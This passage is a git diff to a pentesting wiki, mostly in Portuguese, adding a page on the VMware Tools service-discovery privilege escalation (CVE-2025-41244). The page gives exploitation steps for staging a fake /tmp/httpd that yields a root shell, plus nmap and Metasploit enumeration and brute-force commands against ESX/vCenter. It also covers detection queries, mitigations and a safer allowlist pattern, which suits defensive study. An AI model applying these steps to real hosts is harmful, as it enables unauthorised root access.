root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..9a977c833 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Esta técnica explora pipelines de descoberta de serviços dirigidas por regex que analisam as linhas de comando dos processos em execução para inferir versões dos serviços e então executar um binário candidato com uma flag de "version". Quando padrões permissivos aceitam caminhos não confiáveis controlados pelo atacante (por exemplo, /tmp/httpd), o coletor privilegiado executa um binário arbitrário de um local não confiável, resultando em elevação de privilégio local. A NVISO documentou isso na Service Discovery do VMware Tools/Aria Operations como CVE-2025-41244. + +- Impacto: Elevação de privilégio local para root (ou para a conta de descoberta privilegiada) +- Causa raiz: Untrusted Search Path (CWE-426) + correspondência regex permissiva das linhas de comando dos processos +- Afetado: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## Como funciona a descoberta de serviços do VMware (visão geral) + +- Credential-based (legado): Aria executa scripts de descoberta dentro do guest via VMware Tools usando credenciais privilegiadas configuradas. +- Credential-less (moderno): A lógica de descoberta roda dentro do VMware Tools, já com privilégios no guest. + +Ambos os modos acabam executando lógica de shell que escaneia processos com sockets de escuta, extrai um caminho de comando correspondente via uma regex e executa o primeiro token argv com uma flag de versão. + +## Causa raiz e padrão vulnerável (open-vm-tools) + +No open-vm-tools, o script do plugin serviceDiscovery get-versions.sh casa binários candidatos usando expressões regulares amplas e executa o primeiro token sem qualquer validação de caminho confiável: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Ele é invocado com padrões permissivos contendo \S (sem espaços em branco) que irão corresponder facilmente a caminhos fora do sistema em locais graváveis pelo usuário: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- A extração usa grep -Eo e pega o primeiro token: ${COMMAND%%[[:space:]]*} +- Não há whitelist/allowlist de trusted system paths; qualquer discovered listener com um nome correspondente é executado com -v/--version + +This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. + +## Exploitation (both credential-less and credential-based modes) + +Pré-requisitos +- Você pode executar um processo sem privilégios que abra um listening socket no guest. +- A discovery job está habilitada e roda periodicamente (historicamente ~5 minutos). + +Etapas +1) Coloque (stage) um binário em um caminho que corresponda a um dos regexes permissivos, e.g. /tmp/httpd or ./nginx +2) Execute-o como um usuário com poucos privilégios e assegure-se de que ele abra qualquer listening socket +3) Espere pelo ciclo de discovery; o privileged collector executará automaticamente: /tmp/httpd -v (or similar), rodando seu programa como root + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Linagem típica de processo +- Com credenciais: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Sem credenciais: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefatos (com credenciais) +SDMP wrapper scripts recuperados em /tmp/VMware-SDMP-Scripts-{UUID}/ podem mostrar a execução direta do caminho malicioso: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizando a técnica: regex-driven discovery abuse (portable pattern) + +Muitos agentes e pacotes de monitoramento implementam descoberta de versão/serviço por: +- Enumerar processos com listening sockets +- Grep em argv/linhas de comando com regexes permissivas (p.ex., padrões contendo \S) +- Executar o caminho correspondente com uma flag benigna como -v, --version, -V, -h + +Se a regex aceitar caminhos não confiáveis e o caminho for executado a partir de um contexto privilegiado, obtém-se CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Nomeie seu binário como daemons comuns que a regex provavelmente corresponderá: httpd, nginx, mysqld, dataserver +- Coloque-o em um diretório gravável: /tmp/httpd, ./nginx +- Assegure que ele corresponda à regex e abra qualquer porta para ser enumerada +- Espere pelo coletor agendado; você obtém uma invocação privilegiada automática de -v + +Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. + +Reusable privileged I/O relay trick +- Construa seu helper de forma que, quando invocado com privilégios (-v/--version), ele se conecte a um rendezvous conhecido (p.ex., um Linux abstract UNIX socket como @cve) e faça a ponte do stdio para /bin/sh -i. Isso evita artefatos no disco e funciona em muitos ambientes onde o mesmo binário é reinvocado com uma flag. + +## Detection and DFIR guidance + +Hunting queries +- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld +- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions) +- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths + +Policy/telemetry +- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring on get-versions.sh and VMware Tools plugins + +## Mitigations + +- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) +- Disable or restrict credential-less discovery where feasible +- Validate trusted paths: restrinja a execução a diretórios em lista de permitidos (/usr/sbin, /usr/bin, /sbin, /bin) e apenas binários exatos conhecidos +- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names +- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact +- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths + +## Notes for defenders and implementers + +Padrão mais seguro de correspondência e execução +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Referências + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 5ab6aa1c1..78dd17e01 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,14 +1,28 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Enumeração +## Enumeração ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Força Bruta +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` Se você encontrar credenciais válidas, pode usar mais módulos de scanner do metasploit para obter informações. + + + +### Veja também + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}}